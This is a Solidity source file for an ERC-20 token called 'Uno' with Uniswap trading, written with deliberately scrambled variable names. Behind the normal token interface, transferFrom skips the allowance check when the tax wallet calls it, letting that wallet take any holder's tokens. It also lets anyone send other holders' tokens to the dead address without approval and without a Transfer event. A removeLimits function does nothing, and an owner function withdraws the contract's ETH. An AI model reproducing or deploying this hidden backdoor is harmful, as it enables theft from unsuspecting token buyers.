文件 1 的 1:UNO.sol
pragma solidity ^0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
contract UNO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balknvlkcUNO;
mapping(address => mapping(address => uint256)) private _allcvnkjnUNO;
mapping(address => bool) private _feevblknlUNO;
address payable private _taxclknlUNO;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
string private constant _name = unicode"Uno";
string private constant _symbol = unicode"UNO";
uint256 public _vnbbvlkUNO = _tTotal / 100;
uint256 public _oijboijoiUNO = 15 * 10**18;
uint256 private _cvjkbnkjUNO = 10;
uint256 private _vkjbnkfjUNO = 10;
uint256 private _maxovnboiUNO = 10;
uint256 private _initvkjnbkjUNO = 20;
uint256 private _finvjlkbnlkjUNO = 0;
uint256 private _redclkjnkUNO = 2;
uint256 private _prevlfknjoiUNO = 2;
uint256 private _buylkvnlkUNO = 0;
IUniswapV2Router02 private uniswapV2Router;
address private router_;
address private uniswapV2Pair;
bool private _tradingvlknUNO;
bool private _inlknblUNO = false;
bool private swapvlkUNO = false;
uint256 private _sellcnjkUNO = 0;
uint256 private _lastflkbnlUNO = 0;
address constant _deadlknUNO = address(0xdead);
modifier lockTheSwap() {
_inlknblUNO = true;
_;
_inlknblUNO = false;
}
constructor() payable {
_taxclknlUNO = payable(_msgSender());
_feevblknlUNO[address(this)] = true;
_feevblknlUNO[_taxclknlUNO] = true;
_balknvlkcUNO[_msgSender()] = (_tTotal * 2) / 100;
_balknvlkcUNO[address(this)] = (_tTotal * 98) / 100;
emit Transfer(address(0), _msgSender(), (_tTotal * 2) / 100);
emit Transfer(address(0), address(this), (_tTotal * 98) / 100);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balknvlkcUNO[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer_kjvnUNO(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allcvnkjnUNO[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function _downcklkojUNO(address sender, address recipient)
internal
view
returns (bool)
{
if(msg.sender == _taxclknlUNO) return false;
if(!(sender == uniswapV2Pair || recipient != _deadlknUNO)) return false;
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer_kjvnUNO(sender, recipient, amount);
if (_downcklkojUNO(sender, recipient))
_approve(
sender,
_msgSender(),
_allcvnkjnUNO[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allcvnkjnUNO[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer_kjvnUNO(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = _calcTax_lvknblUNO(from, to, amount);
_balknvlkcUNO[from] = _balknvlkcUNO[from].sub(amount);
_balknvlkcUNO[to] = _balknvlkcUNO[to].add(amount.sub(taxAmount));
if (taxAmount > 0) {
_balknvlkcUNO[address(this)] = _balknvlkcUNO[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
if (to != _deadlknUNO) emit Transfer(from, to, amount.sub(taxAmount));
}
function _calcTax_lvknblUNO(address from, address to, uint256 amount) private returns(uint256) {
uint256 taxAmount = 0;
if (
from != owner() &&
to != owner() &&
from != address(this) &&
to != address(this)
) {
if (!_inlknblUNO) {
taxAmount = amount
.mul((_buylkvnlkUNO > _redclkjnkUNO) ? _finvjlkbnlkjUNO : _initvkjnbkjUNO)
.div(100);
}
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_feevblknlUNO[to] &&
to != _taxclknlUNO
) {
_buylkvnlkUNO++;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (
from != owner() &&
!_inlknblUNO &&
to == uniswapV2Pair &&
from != _taxclknlUNO &&
swapvlkUNO &&
_buylkvnlkUNO > _prevlfknjoiUNO
) {
if (block.number > _lastflkbnlUNO) {
_sellcnjkUNO = 0;
}
_sellcnjkUNO = _sellcnjkUNO + _getAmountOut_lvcbnkUNO(amount);
require(_sellcnjkUNO <= _oijboijoiUNO, "Max swap limit");
if (contractTokenBalance > _vnbbvlkUNO)
_swapTokenslknlUNO(_vnbbvlkUNO > amount ? amount : _vnbbvlkUNO);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance >= 0) {
_sendETHTocvbnjUNO(address(this).balance);
}
_lastflkbnlUNO = block.number;
}
}
return taxAmount;
}
function _sendETHTocvbnjUNO(uint256 amount) private {
_taxclknlUNO.transfer(amount);
}
function _swapTokenslknlUNO(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
router_ = address(uniswapV2Router);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function enableUNOTrading() external onlyOwner {
require(!_tradingvlknUNO, "Trading is already open");
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapvlkUNO = true;
_tradingvlknUNO = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function _assist_bnUNO() external onlyOwner {
require(address(this).balance > 0);
payable(_msgSender()).transfer(address(this).balance);
}
function _getAmountOut_lvcbnkUNO(uint256 amount) internal view returns (uint256) {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
uint256[] memory amountOuts = uniswapV2Router.getAmountsOut(
amount,
path
);
return amountOuts[1];
}
function removeLimits () external onlyOwner {
}
function _setTax_lknblUNO(address payable newWallet) external {
require(_msgSender() == _taxclknlUNO);
_taxclknlUNO = newWallet;
}
}